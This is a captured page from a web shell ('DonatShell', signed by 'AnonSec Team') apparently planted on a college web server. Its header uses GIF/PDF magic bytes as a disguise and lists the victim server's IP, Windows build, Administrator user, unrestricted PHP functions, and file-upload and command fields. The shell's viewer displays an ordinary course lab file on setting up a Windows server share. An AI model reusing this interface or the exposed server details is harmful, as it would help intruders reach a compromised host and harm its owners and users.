GIF89a; %PDF-1.5 %���� ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµù Õ5sLOšuY Donat Was Here
DonatShell
Server IP : 134.29.175.74  /  Your IP : 216.73.216.160
Web Server : nginx/1.10.2
System : Windows NT CST-WEBSERVER 10.0 build 19045 (Windows 10) i586
User : Administrator ( 0)
PHP Version : 7.1.0
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  C:/nginx/html/JimMartinson/CST2274/Labs/xLab06 server share/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : C:/nginx/html/JimMartinson/CST2274/Labs/xLab06 server share/Lab06.phpinc
<?
// JimMartinson/CST2274/Labs/Lab06/index.php

$TRACK = "<b>".basename(__FILE__).'</b> <span class="pv_fl">('.__FILE__.")</span>\n<ol>\n";
ini_set('include_path',ini_get('include_path').PATH_SEPARATOR.$_SERVER['DOCUMENT_ROOT']."/"); // Add the DOCUMENT_ROOT to the include_path.
include('application.phpinc');

require('Gradebook/EvaluationSubmission_BEGIN.phpinc'); // Replaced.
require('JimMartinson/CST2274/Labs/GenerateComputerNames.phpinc'); // Includes 'Gradebook/EvaluationSubmission_BEGIN.phpinc'.
$disabled = '';
//$disabled = ' disabled';

?>
<fieldset><legend>Description</legend>
The purpose of this lab is to demonstrate your ability to setup a server share.
</fieldset>


<fieldset><legend><?=$evaluationType?> <?=$evaluationNumber?> Assignment</legend>
<? if ( $disabled ) { ?>
<span class="error bold">Notice: Do not perform this assignment unless this notice has been removed.</span><br>
<? } ?>
<?=$gradeNote?>
<ol class="count">
	<li>
    Create a directory called <b><?=$evaluationName?></b>. We will use it for all work performed in this lab.
  </li>
	<li>
		Create a directory for sharing on your <b><?=$coreServerName?></b> <?=$coreServerDescription?>.
		<br><span class="attention">On the <b><?=$serverName?></b> <?=$serverDescription?></span>.
		<ol>
			<li>Open <b>Server Manager</b>.</li>
			<li>Select <b>All Servers</b> in the left pane.</li>
			<li>Right-click on your <b><?=$coreServerName?></b> and select <b>Remote Desktop Connecion</b> from the menu.</li>
			<li>Create the <b>\data</b> directory.</li>
			<li>Create the <b>\data\warzone</b> directory.</li>
			<li>Create a file called <b><?=$userFirstName?>.txt</b> in the C:\data\warzone directory (<kbd>echo.&gt;C:\data\warzone\<?=$userFirstName?>.txt</kbd>).</li>
			<li>Enable share discovery with the command:<br><kbd>netsh advfirewall firewall set rule group=”File and Printer Sharing” new enable=yes</kbd></li>
			<li>Enter <kbd>logoff</kbd> to close the connection.</li>
		</ol>
	</li>
	<li>
		Create an OU for this lab. <span class="note">Continue using your <b><?=$serverName?></b> <?=$serverDescription?> for this step of the lab.</span>
		<ol>
			<li>Open <b>Server Manager</b>.</li>
			<li>Select <b>AD DS</b> in the left pane.</li>
			<li>Right-click on your <b><?=$serverName?></b> and select <b>Active Directory Users and Computers</b> from the menu.</li>
			<li>Create an OU in the <b><?=$domainName?></b> domain called <b><?=$evaluationName?></b>.</li>
		</ol>
	</li>
	<li>Create a new User. <span class="note">Continue using your <b><?=$serverName?></b> <?=$serverDescription?> for this step of the lab.</span>
		<ol>
			<li>In the <?=$evaluationName?> OU, create an OU called <b>Users</b>.</li>
			<li>In the Users OU, create a user called <b><?=$userFirstName?></b> and set a password.</li>
		</ol>
	</li>
	<li>Create a new Group. <span class="note">Continue using your <b><?=$serverName?></b> <?=$serverDescription?> for this step of the lab.</span>
		<ol>
			<li>In the <?=$evaluationName?> OU, create an OU called <b>Groups</b>.</li>
			<li>In the Groups OU, create a group called <b>WarzoneUsers</b> (With Group scope: Domain local, Group type: Security).</li>
			<li>Add <b>Domain Users</b> as a member of WarzoneUsers.</li>
		</ol>
	</li>
	<li>Share the <b><?=$coreServerName?></b> C:\data\warzone directory. <span class="note">Continue using your <b><?=$serverName?></b> <?=$serverDescription?> for this step of the lab.</span>
		<ol>
			<li>Open <b>Server Manager</b>.</li>
			<li>Select <b>All Servers</b> in the left pane.</li>
			<li>Right-click on your <b><?=$coreServerName?></b> and select <b>Computer Management</b> from the menu.</li>
			<li>Expand <b>Shared Folders</b> and select <b>Shares</b> in the left pane.</li>
			<li>Create a share for the C:\data\warzone directory named <b>warzone</b> and select <b>Custom</b> and click on the <b>Custom...</b> button.</li>
			<li>Give the WarzoneUsers group Share Permissions of <b>Change</b> and <b>Read</b> and all <b>Security</b> permissions except Full control or any Special permissions.</li>
		</ol>
	</li>
	<li>Demonstrate the share works. <span class="note">You will use your <b><?=$workstationName?></b> <?=$workstationDescription?> for this step of the lab.</span>
		<ol>
			<li>Login as the <b><?=$userFirstName?></b> user.</li>
			<li>Open up the <b>warzone</b> share.</li>
			<li>Create a New Text Document called <?=$userLastName?>.txt</li>
			<li>Open the <?=$userFirstName?>.txt file and type "Kilroy was here!".</li>
			<li>Save it.</li>
			<li>Ensure you are using Details View.</li>
			<li>
				Take a screenshot and save it as <b><?=$saveFilename?>-a.png</b> in your <b><?=$evaluationName?></b> folder.
				<? showBegin('See warzone example screenshot'); ?><br><img src="warzone.png" width="785" alt="warzone example"/><br><? showEnd(); ?>
			</li>
		</ol>
	</li>
	<li>Show the share permissions using powershell. <span class="note">You will use your <b><?=$coreServerName?></b> <?=$coreServerDescription?> for this step of the lab.</span>
		<ol>
			<li>Open powershell</li>
			<li>Enter the command: <code>Get-ChildItem C:\data\warzone | ForEach-Object {Get-Acl $_.FullName} | Format-List</code>.</li>
			<li>
				Take a screenshot and save it as <b><?=$saveFilename?>-b.png</b> in your <b><?=$evaluationName?></b> folder.
				<? showBegin('See powershell example screenshot'); ?><br><img src="ps.png" width="680" alt="powershell example"/><br><? showEnd(); ?>
			</li>
		</ol>
	</li>
	</li>
	<li>Turn in your assignment:
		<ol type="a">
			<li>Make sure the following files are in your <b><?=$evaluationName?></b> folder.
				<ul>
					<li><?=$saveFilename?>-a.png.</li>
					<li><?=$saveFilename?>-b.png.</li>
				</ul>
			</li>
			<li>Zip up your <b><?=$evaluationName?></b> folder into a file named <b><?=$uploadFilename?></b>.
			</li>
			<li>Browse and select your <b><?=$uploadFilename?></b> file: <input type="file" name="fileUpload" id="inpFileUpload"<?=$disabled?>><div id="divFileploadError"></div></li>
			<li>Then <input type="submit" name="f_subtask" id="inpSubmit" value="Submit"<?=$disabled?>> for grading.<? if ( $disabled ) { ?> <span class="error bold">Notice: Do not perform this assignment unless this notice has been removed.</span><? } ?></li>
		</ol>
  </li>
<? /**/ ?>
</ol>
<?=$gradeNote?>
</fieldset>
<?
require('Gradebook/EvaluationSubmission_END.phpinc'); // Replaced.
if ($TRACK != '') $_SESSION['TRACK'] .= "<li>End ".basename(__FILE__)."</ol>\n";
?>

Anon7 - 2022
AnonSec Team